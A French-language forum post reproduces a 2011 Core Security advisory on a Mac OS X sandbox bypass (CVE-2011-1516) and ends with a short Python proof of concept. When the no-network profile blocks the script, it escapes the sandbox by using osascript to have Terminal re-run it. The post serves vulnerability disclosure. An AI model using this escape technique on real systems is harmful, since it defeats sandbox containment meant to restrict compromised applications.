Vulnérabilité dans Sandbox Mac OS X

Logiciels et patchs PC partagés par la communauté : émulateurs, correctifs de jeux, utilitaires et outils, avec versions et liens.
Avatar de l’utilisateur
sniper3d
Master Gamer
Membres
Messages : 2480
Inscription : lun. 3 janv. 2011 13:07
Wi-Fi : Oui
Dongle PS3 : Aucun

Vulnérabilité dans Sandbox Mac OS X

Message par sniper3d »

Les chercheurs de Core Security Technologies ont découvert un trou de sécurité qui pourrait permettre à quelqu'un de contourner les restrictions sandbox de l'application de Mac OS X.


1. Information

Titre: Apple OS X profils prédéfinis Sandbox Bypass
ID consultatif: CORE-2011-0919
URL consultatif: https://www.coresecurity.com/content/ap ... box-bypass
Date de publication: 10/11/2011
Date de dernière mise à jour: 10/11/2011


2. Informations par vulnérabilité

Classe: panne de contrôle d'accès CWE-264
Impact: Exécution de code
Exploitable à distance: Oui
Exploitable localement: Aucun
Nom de CVE: CVE-2011-1516


3. Description de la vulnérabilité

Plusieurs des profils par défaut et pré définit ne sont pas correctement sécurisé.
Une application compromise hypothétiquement limitée par l'utilisation du profil sans réseau peuvent avoir accès aux ressources du réseau grâce à l'utilisation des événements Apple à invoquer l'exécution d'autres applications ne sont pas directement limité par la sandbox.

Il est à noter qu'un problème similaire a été rapporté par Charlie Miller dans son discours à Black Hat Japan 2008 [ 2 ]. Il a mentionné quelques procédés sandbox par défaut, ainsi que d'une méthode pour contourner la protection. Quelque temps après le discours, Apple a modifié les profils mentionnés en limitant l'utilisation d'événements Apple, mais ne modifient pas les profils génériques.

4. Paquets vulnérables

Apple Mac OS X 10.7.x
Apple Mac OS X 10.6.x
Apple Mac OS X 10.5.x


5. Paquets non vulnérables

Apple Mac OS X 10.4
import os
import sys
import socket

if len(sys.argv) != 2:
print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]

try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send('GET /\r\n\r\n')
print(s.recv(1024))
print "\n\n\n[+] Sandbox escaped"

except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-] Blocked by seatbelt"
print "[ ] Escaping..."
os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP)

Source

Tout sur PC chez Tgames